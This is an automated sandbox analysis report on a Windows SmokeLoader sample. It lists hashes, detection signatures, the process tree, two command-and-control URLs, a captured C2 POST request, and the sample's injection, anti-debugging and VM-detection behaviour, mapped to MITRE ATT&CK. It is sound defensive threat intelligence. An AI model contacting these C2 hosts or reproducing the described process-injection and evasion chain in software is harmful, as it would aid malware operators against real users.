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Windows Analysis Report
p3jNeWT0GE.exe

Overview

General Information

Sample Name:	p3jNeWT0GE.exe
Analysis ID:	652394
MD5:	25b54f50600604a53e80163b9049421e
SHA1:	be28d831c5183368f057f8bec104a2b0babb406c
SHA256:	9904784c707abb24585e3e61fa5cc094380206385cbb7d087c968d7dc5ee0991
Tags:	DofoilexeSmokeLoader
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Benign windows process drops PE files

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Maps a DLL or memory area into another process

Machine Learning detection for sample

Injects a PE file into a foreign processes

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Contains functionality to inject code into remote processes

Deletes itself after installation

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Uses 32bit PE files

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

p3jNeWT0GE.exe (PID: 6516 cmdline: "C:\Users\user\Desktop\p3jNeWT0GE.exe" MD5: 25B54F50600604A53E80163B9049421E)

p3jNeWT0GE.exe (PID: 6648 cmdline: "C:\Users\user\Desktop\p3jNeWT0GE.exe" MD5: 25B54F50600604A53E80163B9049421E)

explorer.exe (PID: 3808 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

hdgaecu (PID: 7136 cmdline: C:\Users\user\AppData\Roaming\hdgaecu MD5: 25B54F50600604A53E80163B9049421E)

hdgaecu (PID: 5244 cmdline: C:\Users\user\AppData\Roaming\hdgaecu MD5: 25B54F50600604A53E80163B9049421E)

cleanup

Malware Configuration

Threatname: SmokeLoader

{"C2 list": ["http://host-file-host6.com/", "http://host-host-file8.com/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000004.00000000.415791287.0000000002681000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.501978878.0000000002051000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.442558438.0000000001E51000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.501732921.00000000004B0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.442516398.0000000001E30000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.p3jNeWT0GE.exe.c215a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.hdgaecu.c215a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
1.2.p3jNeWT0GE.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.2.hdgaecu.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://host-host-file8.com/

URL Reputation: Label: malware

Multi AV Scanner detection for domain / URL

Source: host-file-host6.com	Virustotal: Detection: 18%			Perma Link
Source: host-host-file8.com	Virustotal: Detection: 12%			Perma Link

Machine Learning detection for sample

Source: p3jNeWT0GE.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\hdgaecu

Joe Sandbox ML: detected

Source: 0000000D.00000002.501732921.00000000004B0000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://host-file-host6.com/", "http://host-host-file8.com/"]}

Source: p3jNeWT0GE.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: C:\kurokov covicaf\85\fodeta\yobil\vegemogix\wapa\x.pdb source: p3jNeWT0GE.exe, hdgaecu.4.dr
Source:	Binary string: {JMC:\kurokov covicaf\85\fodeta\yobil\vegemogix\wapa\x.pdbP5D source: p3jNeWT0GE.exe, hdgaecu.4.dr

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: host-file-host6.com
Source: C:\Windows\explorer.exe	Domain query: host-host-file8.com

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://host-file-host6.com/
Source: Malware configuration extractor	URLs: http://host-host-file8.com/

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: global traffic

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://xcxakxdec.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 282Host: host-file-host6.com

Source: explorer.exe, 00000004.00000000.397114425.00000000026D0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.374277431.00000000026D0000.00000004.00000001.00020000.00000000.sdmp

String found in binary or memory: http://ns.adobY

Source: unknown

DNS traffic detected: queries for: host-file-host6.com

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.p3jNeWT0GE.exe.c215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.hdgaecu.c215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.p3jNeWT0GE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.hdgaecu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.415791287.0000000002681000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.501978878.0000000002051000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.442558438.0000000001E51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.501732921.00000000004B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.442516398.0000000001E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: p3jNeWT0GE.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

Code function: 0_2_0041FB80

0_2_0041FB80

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 0_2_00C20110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_00C20110
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 1_2_0040180C Sleep,NtTerminateProcess,	1_2_0040180C
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 1_2_00401818 Sleep,NtTerminateProcess,	1_2_00401818
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 1_2_00401822 Sleep,NtTerminateProcess,	1_2_00401822
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 1_2_00401826 Sleep,NtTerminateProcess,	1_2_00401826
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 1_2_00401834 Sleep,NtTerminateProcess,	1_2_00401834
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 12_2_00C20110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	12_2_00C20110
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 13_2_0040180C Sleep,NtTerminateProcess,	13_2_0040180C
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 13_2_00401818 Sleep,NtTerminateProcess,	13_2_00401818
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 13_2_00401822 Sleep,NtTerminateProcess,	13_2_00401822
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 13_2_00401826 Sleep,NtTerminateProcess,	13_2_00401826
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 13_2_00401834 Sleep,NtTerminateProcess,	13_2_00401834

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: p3jNeWT0GE.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\p3jNeWT0GE.exe "C:\Users\user\Desktop\p3jNeWT0GE.exe"
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Process created: C:\Users\user\Desktop\p3jNeWT0GE.exe "C:\Users\user\Desktop\p3jNeWT0GE.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\hdgaecu C:\Users\user\AppData\Roaming\hdgaecu
Source: C:\Users\user\AppData\Roaming\hdgaecu	Process created: C:\Users\user\AppData\Roaming\hdgaecu C:\Users\user\AppData\Roaming\hdgaecu
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Process created: C:\Users\user\Desktop\p3jNeWT0GE.exe "C:\Users\user\Desktop\p3jNeWT0GE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Process created: C:\Users\user\AppData\Roaming\hdgaecu C:\Users\user\AppData\Roaming\hdgaecu	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hdgaecu

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/2@5/1

Source: p3jNeWT0GE.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\kurokov covicaf\85\fodeta\yobil\vegemogix\wapa\x.pdb source: p3jNeWT0GE.exe, hdgaecu.4.dr
Source:	Binary string: {JMC:\kurokov covicaf\85\fodeta\yobil\vegemogix\wapa\x.pdbP5D source: p3jNeWT0GE.exe, hdgaecu.4.dr

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 0_2_00C21970 push ebx; iretd	0_2_00C219B7
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 0_2_00C21977 push ebx; iretd	0_2_00C219B7
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 0_2_00C2198B push ebx; iretd	0_2_00C219B7
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 1_2_004011D0 push ebx; iretd	1_2_00401217
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 1_2_004011D7 push ebx; iretd	1_2_00401217
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 1_2_004011EB push ebx; iretd	1_2_00401217
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 12_2_00C21970 push ebx; iretd	12_2_00C219B7
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 12_2_00C21977 push ebx; iretd	12_2_00C219B7
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 12_2_00C2198B push ebx; iretd	12_2_00C219B7
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 13_2_004011D0 push ebx; iretd	13_2_00401217
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 13_2_004011D7 push ebx; iretd	13_2_00401217
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 13_2_004011EB push ebx; iretd	13_2_00401217

Source: p3jNeWT0GE.exe	Static PE information: section name: .zineha
Source: p3jNeWT0GE.exe	Static PE information: section name: .cixu
Source: hdgaecu.4.dr	Static PE information: section name: .zineha
Source: hdgaecu.4.dr	Static PE information: section name: .cixu

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

Code function: 0_2_0042A090 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,

0_2_0042A090

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hdgaecu

Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hdgaecu

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\p3jnewt0ge.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\hdgaecu:Zone.Identifier read attributes | delete

Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 6908	Thread sleep count: 558 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6996	Thread sleep count: 234 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6112	Thread sleep count: 306 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6112	Thread sleep time: -30600s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 964	Thread sleep count: 348 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6924	Thread sleep count: 158 > 30	Jump to behavior

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-1714

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 558

Jump to behavior

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

API call chain: ExitProcess graph end node

graph_0-1924

Source: explorer.exe, 00000004.00000000.401632230.0000000006389000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000004.00000000.437033264.0000000007C08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i
Source: explorer.exe, 00000004.00000000.437033264.0000000007C08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000004.00000000.398203824.0000000004150000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}:
Source: explorer.exe, 00000004.00000000.437033264.0000000007C08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i&
Source: explorer.exe, 00000004.00000000.437472725.0000000007D2A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000004.00000000.404835251.0000000007BC5000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}f8b}
Source: explorer.exe, 00000004.00000000.437033264.0000000007C08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00Iy
Source: explorer.exe, 00000004.00000000.405019671.0000000007CCB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000v

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

Code function: 0_2_00411CF0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00411CF0

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

0_2_0042A090

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 0_2_00C20042 push dword ptr fs:[00000030h]		0_2_00C20042
Source: C:\Users\user\AppData\Roaming\hdgaecu	Code function: 12_2_00C20042 push dword ptr fs:[00000030h]		12_2_00C20042

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 0_2_0040F170 _memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040F170
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 0_2_00411CF0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00411CF0
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Code function: 0_2_0040D690 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040D690

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: hdgaecu.4.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: host-file-host6.com
Source: C:\Windows\explorer.exe	Domain query: host-host-file8.com

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Memory written: C:\Users\user\Desktop\p3jNeWT0GE.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Memory written: C:\Users\user\AppData\Roaming\hdgaecu base: 400000 value starts with: 4D5A			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

Code function: 0_2_00C20110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_00C20110

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Thread created: C:\Windows\explorer.exe EIP: 2681930			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Thread created: unknown EIP: 47C1930			Jump to behavior

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe	Process created: C:\Users\user\Desktop\p3jNeWT0GE.exe "C:\Users\user\Desktop\p3jNeWT0GE.exe"			Jump to behavior
Source: C:\Users\user\AppData\Roaming\hdgaecu	Process created: C:\Users\user\AppData\Roaming\hdgaecu C:\Users\user\AppData\Roaming\hdgaecu			Jump to behavior

Source: explorer.exe, 00000004.00000000.374144806.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.415508246.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.396938172.0000000000D00000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program ManagerG
Source: explorer.exe, 00000004.00000000.404889078.0000000007C08000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.386698402.0000000007C08000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.400270401.0000000005920000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.374144806.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.415508246.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.396938172.0000000000D00000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.374144806.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.415508246.0000000000D00000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.396938172.0000000000D00000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.396362385.0000000000628000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.373840947.0000000000628000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.414885493.0000000000628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanPV*

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\p3jNeWT0GE.exe

Code function: 0_2_0041C570 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0041C570

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.p3jNeWT0GE.exe.c215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.hdgaecu.c215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.p3jNeWT0GE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.hdgaecu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.415791287.0000000002681000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.501978878.0000000002051000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.442558438.0000000001E51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.501732921.00000000004B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.442516398.0000000001E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.p3jNeWT0GE.exe.c215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.hdgaecu.c215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.p3jNeWT0GE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.hdgaecu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.415791287.0000000002681000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.501978878.0000000002051000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.442558438.0000000001E51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.501732921.00000000004B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.442516398.0000000001E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	1 DLL Side-Loading	512 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
